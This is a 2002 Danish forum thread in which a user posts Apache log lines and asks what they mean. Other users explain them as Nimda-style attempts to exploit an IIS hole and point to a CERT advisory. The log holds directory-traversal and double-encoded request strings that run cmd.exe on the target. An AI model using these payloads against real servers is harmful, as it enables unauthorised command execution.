Søg
Avatar billede gchris5 Praktikant
26. februar 2002 - 18:36 Der er 7 kommentarer og
2 løsninger

Apache log

Nogen der kan fortælle mig hvad dette går ud på? Og er det en bevidst handling eller kan det være forudsaget af virus eller lign.?
<snip>
80.196.83.59 - - [26/Feb/2002:17:15:01 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
80.196.83.59 - - [26/Feb/2002:17:15:01 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
80.196.83.59 - - [26/Feb/2002:17:15:01 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
80.196.83.59 - - [26/Feb/2002:17:15:01 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
80.196.83.59 - - [26/Feb/2002:17:15:02 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
80.196.113.196 - - [26/Feb/2002:17:56:26 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 283
80.196.113.196 - - [26/Feb/2002:17:56:27 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 281
80.196.113.196 - - [26/Feb/2002:17:56:28 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
80.196.113.196 - - [26/Feb/2002:17:56:28 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
80.196.113.196 - - [26/Feb/2002:17:56:29 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
80.196.113.196 - - [26/Feb/2002:17:56:29 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322
80.196.113.196 - - [26/Feb/2002:17:56:30 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322
80.196.113.196 - - [26/Feb/2002:17:56:30 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 338
80.196.113.196 - - [26/Feb/2002:17:56:31 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
</snip>
Avatar billede disky Nybegynder
26. februar 2002 - 18:42 #1
forsøg på hacking.
Avatar billede disky Nybegynder
26. februar 2002 - 18:42 #2
Ejerne af de IP adresse forsøger at udnytte et kendt hul i Microsoft'es IIS server.

Hvilket Apache er ret ligeglad med :)
Avatar billede enobe Nybegynder
26. februar 2002 - 19:09 #3
apache længe leve - hurra, hurra, hurra!
Avatar billede gchris5 Praktikant
26. februar 2002 - 19:11 #4
Får man noget ud af at henvende sig til "ejeren"? Jeg ved en af disse er TDC's!
Avatar billede pbudk Nybegynder
26. februar 2002 - 19:13 #5
Det kan vel næppe kaldes et forsøg på hacking.

Nimda er derimod højst sandsynligt synderen. Men heldigvis kan den jo ikke stillet meget op overfor apache. ;o)
Avatar billede pbudk Nybegynder
26. februar 2002 - 19:15 #6
Jeg skal måske lige præcisere, at det ikke er dig, der er ramt af nimda, men derimod ejeren af 80.196.113.196
Avatar billede gchris5 Praktikant
26. februar 2002 - 19:16 #7
Har lige fundet ud af at en anden af "synderne" er Finansforbunden!

Men er det Nimda eller lignende ?!?!!??!
Avatar billede pbudk Nybegynder
26. februar 2002 - 19:18 #8
Prøv at læse nærmere på det her link:

http://www.cert.org/advisories/CA-2001-26.html
Avatar billede disky Nybegynder
26. februar 2002 - 19:20 #9
Det er forsøg på ulovlig indtrængen, altså hacking. Måske ikke vidende af ejerne.

Du kan maile det til TDC, med en opfordring om at de skulle fortælle de 2 brugere at de skulle købe et antivirus program.
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
AI & It-udvikling kurser
Uanset kodesprog, så giver vi dig mulighederne for at udvikle det, du behøver.
Se alle AI & It-udvikling kurser

Flere spørgsmål fra Webservere kategorien

Titel Indlæg Oprettet Seneste aktivitet
IIS på Win10 64 bit Af bsn i Webservere 2 20/05/202611:00 20/05/202617:09
VPN Af Jesper O. i Webservere 8 15/12/202512:28 16/12/202501:58
Bøvl med FTP og æ, ø og å Af andershl i Webservere 2 14/12/202515:16 15/12/202511:13
HTML-LINKS Af snestrup2000 i Webservere 2 16/11/202415:33 16/11/202418:41
Wordpress fejl Action Scheduler ? Af fimo i Webservere 2 24/10/202410:16 27/10/202412:07
Se alle spørgsmål i kategorien Opret spørgsmål

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Opret Log ind

Du kan også logge ind via nedenstående tjenester

Alle kategorier på Eksperten
Seneste spørgsmål Seneste aktivitet
I går 17:39 oprette gruppe i outlook.dk Af fase i E-mail programmer
I går 11:24 Sletning af WD Elements - som er krypteret (og ikke kommer normalt frem på skærmen med indtast af kode). Af Rikke i Andet hardware
06/0718:10 WWAN kort i bærbar Af Gamba i PC
06/0715:46 DBA er ikke hvad det var Af ErikHg i Fri debat
05/0712:15 Totalslette bærbar med Linux Mint Af mort1 i Linux
White papers
Flere white papers »